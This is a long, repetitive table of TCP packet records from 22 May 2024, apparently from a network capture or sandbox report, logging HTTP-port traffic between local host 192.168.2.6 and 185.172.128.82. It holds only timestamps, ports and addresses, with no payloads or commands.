May 22, 2024 20:06:31.262031078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262037992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262058020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262065887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262084007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262099028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262115955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262135029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262141943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262161970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262170076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262185097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262202024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262238979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262845993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262864113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262893915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262901068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262918949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262928963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262945890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262953043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.262969017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.262988091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263004065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263015032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263031006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263039112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263056040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263075113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263117075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263828039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263849020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263870001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263875961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263892889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263900042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263916016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263926029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263940096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263952971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263962984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.263978958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.263987064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264003992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264019966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264025927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264041901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264051914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264066935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264092922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264719963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264740944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264764071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264770985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264781952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264807940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264813900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264827013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264857054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264863014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264878035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264890909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264898062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264914036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264930964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264938116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264951944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264962912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.264976025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.264997005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.267335892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267354965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267375946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267395020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267414093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267431974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267451048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267469883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267487049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267507076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.267515898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.267584085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342314959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342353106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342379093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342402935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342441082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342506886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342637062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342664003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342685938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342701912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342721939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342737913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342757940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342777967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342895031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342922926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.342943907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342968941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.342978001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.343003988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.343022108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.343039036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.343147039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.343173981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.343379021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347073078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347161055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347495079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347553015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347564936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347625017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347644091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347729921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347826958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347851038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347883940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347891092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347906113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347933054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347942114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347960949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.347982883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.347990990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348009109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348021030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348032951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348054886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348143101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348206043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348311901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348351002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348367929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348386049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348432064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348453999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348499060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348532915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348566055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348587990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348618984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348628044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348639011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348664999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348793030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348846912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348920107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348939896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348968029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.348975897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.348993063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349004030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349021912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349031925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349055052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349062920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349085093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349119902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349348068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349368095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349386930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349396944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349415064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349425077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349442005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349461079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349498987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349654913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349673033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349694967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349704981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349731922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349739075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349751949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349764109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.349773884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.349808931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350047112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350064993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350081921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350094080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350116014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350126028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350142956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350158930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350169897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350188971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350198030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350217104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350225925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350241899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350254059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350264072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350295067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350644112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350662947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350684881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350694895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350719929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350898981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350917101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350939035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350948095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.350971937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.350982904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351000071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351016998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351052999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351285934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351300001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351325035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351340055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351356983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351366997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351382017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351389885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351407051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351422071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351432085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351449013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351463079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351471901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351484060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351496935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351512909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351521015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351538897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351550102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351564884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351577997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.351593971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.351613045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352114916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352132082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352170944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352189064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352427006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352454901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352478027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352488995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352510929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352524996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352535963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352556944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352564096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352582932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352595091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352612972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352628946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352638006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352657080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352668047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352684975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352703094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352710009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.352741957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.352773905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354243994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354263067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354284048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354295015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354315996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354324102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354338884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354350090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354363918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354378939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354401112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354407072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354424953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354432106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354448080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354456902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354476929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354499102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354516029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354535103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354558945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354566097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354584932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354593039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354612112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354619980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354633093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354648113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354662895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354676962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354688883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354691982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354691982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354710102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.354748011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.354780912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431519032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431580067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431601048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431629896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431658030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431679964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431724072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431776047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431797981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431823969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431863070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.431953907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431974888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.431997061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.432005882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.432035923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.432216883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.432233095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.432257891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.432269096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.432285070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.432301998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.432339907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436435938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436500072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436528921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436547995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436573982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436604977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436733961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436754942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436774969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436786890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436808109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436836004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436851978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436872959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.436892033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.436919928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437407017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437429905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437457085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437474966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437484980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437519073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437567949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437598944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437616110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437628984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437640905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437666893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.437676907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.437717915 CEST	49708	80	192.168.2.6	185.172.128.82
